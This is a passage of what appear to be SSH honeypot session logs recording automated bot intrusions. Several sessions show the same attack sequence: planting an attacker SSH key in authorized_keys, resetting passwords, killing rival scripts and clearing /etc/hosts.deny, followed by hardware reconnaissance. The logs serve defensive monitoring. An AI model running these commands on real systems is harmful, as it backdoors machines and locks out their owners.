-m"},{"seq":2,"at":"2026-08-27T14:02:49.546658+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T14:02:49.756732+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T14:02:49.757439+00:00","kind":"output","latency_ms":null,"data":" 14:02:49 up 7 days, 10:52, 0 user, load average: 0.22, 0.16, 0.21"},{"seq":5,"at":"2026-08-27T14:02:49.972579+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T14:02:49.973163+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T14:02:50.184939+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T14:02:50.185391+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T14:02:50.394842+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T14:02:50.402534+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T14:02:50.618873+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T14:02:50.621614+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T14:02:50.825619+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T14:02:50.825967+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"lthpc","password":"lthpc","method":"password","accepted":true,"tier":"other"}]} {"id":"f1c9ad32-fb86-4909-9414-08f61e3f05cf","name":"gnarled-airy-addax","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":46340,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":419,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:02:44.546918+00:00","ended_at":"2026-08-27T14:02:45.955061+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2142,"events":[{"seq":1,"at":"2026-08-27T14:02:12.674687+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:02:13.142377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:02:18.596266+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:02:19.476141+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:02:20.204962+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nhWIZIx23CAmV\\nhWIZIx23CAmV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:02:20.622811+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nhWIZIx23CAmV\\nhWIZIx23CAmV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:02:20.947267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:02:21.859103+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:02:22.231071+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:02:23.029295+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:02:23.455217+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:02:24.801800+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:02:25.222100+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:02:27.057126+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:02:27.476244+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:02:29.291160+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:02:29.616758+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:02:30.981785+00:00","kind":"output","latency_ms":null,"data":" 14:02:30 up 7 days, 10:52, 0 user, load average: 0.17, 0.2, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:02:31.323176+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:02:32.922528+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:02:33.250035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:02:35.434830+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:02:36.693205+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:02:37.579500+00:00","kind":"output","latency_ms":null,"data":"top - 14:02:37 up 7 days, 10:52, 0 user, load average: 0.17, 0.2, 0.11\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:02:38.034620+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:02:38.856178+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:02:39.183859+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:02:40.209997+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:02:40.797732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:02:41.755758+00:00","kind":"output","latency_ms":null,"data":"it"},{"seq":31,"at":"2026-08-27T14:02:42.084767+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:02:44.215959+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:02:44.547773+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:02:45.757306+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"it","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"3c9bcb56-c7c4-4786-956e-6e92475e8e05","name":"gallant-vaulted-civet","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":50144,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:02:16.661533+00:00","ended_at":"2026-08-27T14:02:18.500506+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"it","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ee7ef333-fa79-4f86-bdaf-52e72a0f74ca","name":"sooty-crystal-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":47998,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:02:14.109436+00:00","ended_at":"2026-08-27T14:02:15.937783+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"03e09488-6fbd-4a58-a7e6-9d802ca8d780","name":"gloomy-weathered-chough","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":44650,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":834,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:01:51.154232+00:00","ended_at":"2026-08-27T14:01:53.311292+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2216,"events":[{"seq":1,"at":"2026-08-27T14:01:11.082996+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:01:11.919020+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:01:19.530231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:01:20.448583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:01:21.287063+00:00","kind":"input","latency_ms":null,"data":"echo \"root:oQDdVnwxuhp4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T14:01:22.325191+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T14:01:22.831195+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:01:23.165283+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T14:01:24.461361+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T14:01:25.295965+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T14:01:27.272050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T14:01:28.106366+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T14:01:29.223456+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T14:01:30.076073+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T14:01:32.203048+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T14:01:33.045164+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T14:01:34.686600+00:00","kind":"output","latency_ms":null,"data":" 14:01:34 up 7 days, 10:51, 0 user, load average: 0.33, 0.31, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T14:01:35.522128+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T14:01:37.177349+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T14:01:38.024403+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T14:01:39.152756+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T14:01:39.993719+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T14:01:40.931608+00:00","kind":"output","latency_ms":null,"data":"top - 14:01:40 up 7 days, 10:51, 0 user, load average: 0.33, 0.31, 0.34\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T14:01:41.765876+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T14:01:43.408280+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T14:01:44.241939+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T14:01:45.628209+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T14:01:46.462894+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T14:01:48.571364+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T14:01:49.407809+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T14:01:50.319845+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T14:01:51.155024+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T14:01:53.044536+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ipecscm","method":"password","accepted":true,"tier":"other"}]} {"id":"8f575f38-1c0c-405e-bc09-2d3796d4b053","name":"keen-early-puffin","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":46450,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:01:17.099660+00:00","ended_at":"2026-08-27T14:01:19.264142+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c12e9bc0-cbaa-4686-a697-4c26fcb9787e","name":"crimson-ivory-agouti","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":45610,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:01:13.856702+00:00","ended_at":"2026-08-27T14:01:15.449411+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"db998d05-b649-442a-afe5-6fae9b692980","name":"dewy-amber-condor","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":54580,"username":"zjsf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":336,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:01:07.505547+00:00","ended_at":"2026-08-27T14:01:08.951013+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2137,"events":[{"seq":1,"at":"2026-08-27T14:00:38.715307+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:00:39.059987+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:00:42.628103+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:00:44.113605+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:00:44.447162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zjsf\\nz21eAxaamxar\\nz21eAxaamxar\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:00:44.881359+00:00","kind":"input","latency_ms":null,"data":"echo \"zjsf\\nz21eAxaamxar\\nz21eAxaamxar\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:00:45.219074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:00:45.702047+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:00:45.825420+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:00:46.797723+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:00:47.129797+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:00:48.798824+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:00:49.357308+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:00:50.723505+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:00:51.063092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:00:52.315575+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:00:53.054076+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:00:54.507747+00:00","kind":"output","latency_ms":null,"data":" 14:00:54 up 7 days, 10:51, 0 user, load average: 0.11, 0.14, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:00:54.843527+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:00:56.367432+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:00:56.799210+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:00:57.661842+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:00:57.993896+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:00:59.618263+00:00","kind":"output","latency_ms":null,"data":"top - 14:00:59 up 7 days, 10:51, 0 user, load average: 0.11, 0.14, 0.08\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:00:59.952728+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:01:01.057408+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:01:01.392669+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:01:02.524302+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:01:02.993887+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:01:04.945216+00:00","kind":"output","latency_ms":null,"data":"zjsf"},{"seq":31,"at":"2026-08-27T14:01:05.576927+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:01:07.171688+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:01:07.506257+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:01:08.848453+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zjsf","password":"zjsf","method":"password","accepted":true,"tier":"other"}]} {"id":"27efbe08-c462-442a-a2ba-f37c77db7e22","name":"meadow-canny-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":57834,"username":"zjsf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:00:41.667661+00:00","ended_at":"2026-08-27T14:00:42.527235+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"zjsf","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"454ec9eb-d30e-46ec-a9ff-a23a131eab91","name":"painted-granite-manatee","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":56374,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:00:39.885497+00:00","ended_at":"2026-08-27T14:00:40.969663+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f76a8500-8dba-481b-bb0e-ddca5478f49a","name":"arctic-painted-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":48716,"username":"aswin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":840,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:59:57.516556+00:00","ended_at":"2026-08-27T13:59:58.701587+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2151,"events":[{"seq":1,"at":"2026-08-27T13:59:18.891566+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:59:19.732758+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:59:26.940168+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:59:27.994028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:59:28.839175+00:00","kind":"input","latency_ms":null,"data":"echo -e \"aswin\\nT3nLoyqhgnjm\\nT3nLoyqhgnjm\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:59:29.678669+00:00","kind":"input","latency_ms":null,"data":"echo \"aswin\\nT3nLoyqhgnjm\\nT3nLoyqhgnjm\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:59:30.294754+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:59:30.524200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:59:31.368488+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:59:31.373437+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:59:32.214846+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:59:33.535452+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:59:34.374900+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 